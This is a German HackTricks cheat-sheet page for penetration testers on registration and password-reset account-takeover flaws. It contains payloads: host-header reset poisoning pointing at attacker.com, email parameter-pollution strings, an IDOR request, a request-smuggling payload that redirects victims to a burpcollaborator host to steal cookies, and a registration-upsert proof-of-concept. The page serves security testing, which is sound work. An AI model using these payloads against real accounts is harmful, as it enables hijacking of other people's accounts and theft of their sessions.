Registrierung & Takeover Schwachstellen
Reading time: 8 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Registration Takeover
Duplizierte Registrierung
- Versuche, mit einem bereits existierenden username zu registrieren
- Überprüfe verschiedene Varianten der E-Mail:
- Groß-/Kleinschreibung
- +1@
- Punkte im E-Mail-Namen einfügen
- Sonderzeichen im E-Mail-Namen (%00, %09, %20)
- Leerzeichen nach der E-Mail anhängen:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Username Enumeration
Prüfe, ob du erkennen kannst, wann ein username bereits in der Anwendung registriert ist.
Passwort-Richtlinie
Beim Erstellen eines Benutzers die Passwort-Richtlinie prüfen (prüfen, ob schwache Passwörter erlaubt sind).
In diesem Fall kannst du versuchen, Credentials zu bruteforcen.
SQL Injection
Check this page um zu lernen, wie man versucht, account takeovers durchzuführen oder Informationen via SQL Injections in Registrierungsformularen zu extrahieren.
Oauth Takeovers
SAML Vulnerabilities
E-Mail ändern
Nach der Registrierung versuche, die E-Mail zu ändern, und prüfe, ob diese Änderung korrekt validiert wird oder ob man sie auf beliebige E-Mails setzen kann.
Weitere Prüfungen
- Prüfe, ob du disposable emails verwenden kannst
- Long password (>200) führt zu DoS
- Check rate limits on account creation
- Verwende username@burp_collab.net und analysiere den callback
Password Reset Takeover
Password Reset Token Leak Via Referrer
- Request password reset to your email address
- Click on the password reset link
- Don’t change password
- Click any 3rd party websites(eg: Facebook, twitter)
- Intercept the request in Burp Suite proxy
- Prüfe, ob der referer header das password reset token leak.
Password Reset Poisoning
- Intercept the password reset request in Burp Suite
- Füge oder ändere folgende Header in Burp Suite :
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Forward the request with the modified header
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Suche nach einer password reset URL, die auf dem host header basiert, z. B.:
https://attacker.com/reset-password.php?token=TOKEN
Password Reset Via Email Parameter
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR bei API-Parametern
- Der Angreifer muss sich mit seinem Account einloggen und zur Funktion Change password gehen.
- Starte Burp Suite und fange die Anfrage ab
- Sende sie an den Repeater-Tab und ändere die Parameter : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Schwaches Passwort-Reset-Token
Das password reset token sollte zufällig generiert und jedes Mal einzigartig sein.
Versuche zu bestimmen, ob das Token abläuft oder immer gleich ist — in einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden.
- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Number only
- Small token sequence ( characters between [A-Z,a-z,0-9])
- Token reuse
- Token expiration date
Leaking Password Reset Token
- Trigger eine password reset request über die API/UI für eine bestimmte E-Mail, z. B.: test@mail.com
- Untersuche die Serverantwort und prüfe auf
resetToken
- Verwende dann das Token in einer URL wie
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Passwort-Reset durch Username-Kollision
- Registriere dich im System mit einem Benutzernamen, der mit dem des Opfers identisch ist, aber mit eingefügten Leerzeichen vor und/oder nach dem Benutzernamen, z. B.:
"admin "
- Fordere ein password reset mit deinem bösartigen Benutzernamen an.
- Nutze das an deine E-Mail gesendete Token und setze das Passwort des Opfers zurück.
- Melde dich mit dem neuen Passwort beim Opferkonto an.
Die Plattform CTFd war für diesen Angriff verwundbar.
See: CVE-2020-7245
Accountübernahme via Cross Site Scripting
- Finde ein XSS in der Anwendung oder einer Subdomain, falls die cookies auf die Parent-Domain begrenzt sind:
*.domain.com
- Leak the current sessions cookie
- Authentifiziere dich als der Nutzer mithilfe des cookie
Accountübernahme via HTTP Request Smuggling
1. Verwende smuggler um den Typ des HTTP Request Smuggling zu ermitteln (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Erzeuge eine Anfrage, die POST / HTTP/1.1
mit den folgenden Daten überschreibt:
GET http://something.burpcollaborator.net HTTP/1.1 X:
mit dem Ziel, die Opfer per open redirect zu burpcollab umzuleiten und ihre cookies zu stehlen
3. Die finale Anfrage könnte wie folgt aussehen
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone meldet die Ausnutzung dieses Bugs\
Account Takeover via CSRF
- Erstelle ein payload für die CSRF, z. B.: “HTML form with auto submit for a password change”
- Sende das payload
Account Takeover via JWT
JSON Web Token könnte zur Authentifizierung eines Users verwendet werden.
- Bearbeite das JWT mit einer anderen User ID / Email
- Prüfe auf schwache JWT-Signatur
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert on Existing Email)
Einige Signup-Handler führen ein Upsert durch, wenn die angegebene E-Mail bereits existiert. Wenn der Endpoint einen minimalen Body mit E-Mail und Passwort akzeptiert und keine Besitzverifizierung erzwingt, überschreibt das Senden der E-Mail des Opfers dessen Passwort vor der Authentifizierung (pre-auth).
- Discovery: Sammle Endpoint-Namen aus gebündeltem JS (oder mobilem App-Traffic), und fuzz dann Basispfade wie /parents/application/v4/admin/FUZZ mit ffuf/dirsearch.
- Method hints: Ein GET, das Meldungen wie "Only POST request is allowed." zurückgibt, deutet oft auf das korrekte Verb und darauf hin, dass ein JSON-Body erwartet wird.
- Minimaler Body, in der Praxis beobachtet:
{"email":"victim@example.com","password":"New@12345"}
Beispiel PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Auswirkung: Vollständige Account-Übernahme (ATO) ohne Reset-Token, OTP oder E-Mail-Verifizierung.
Referenzen
- Wie ich einen kritischen Passwort-Reset-Bug gefunden habe (Registration upsert ATO)
- https://salmonsec.com/cheatsheet/account_takeover
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.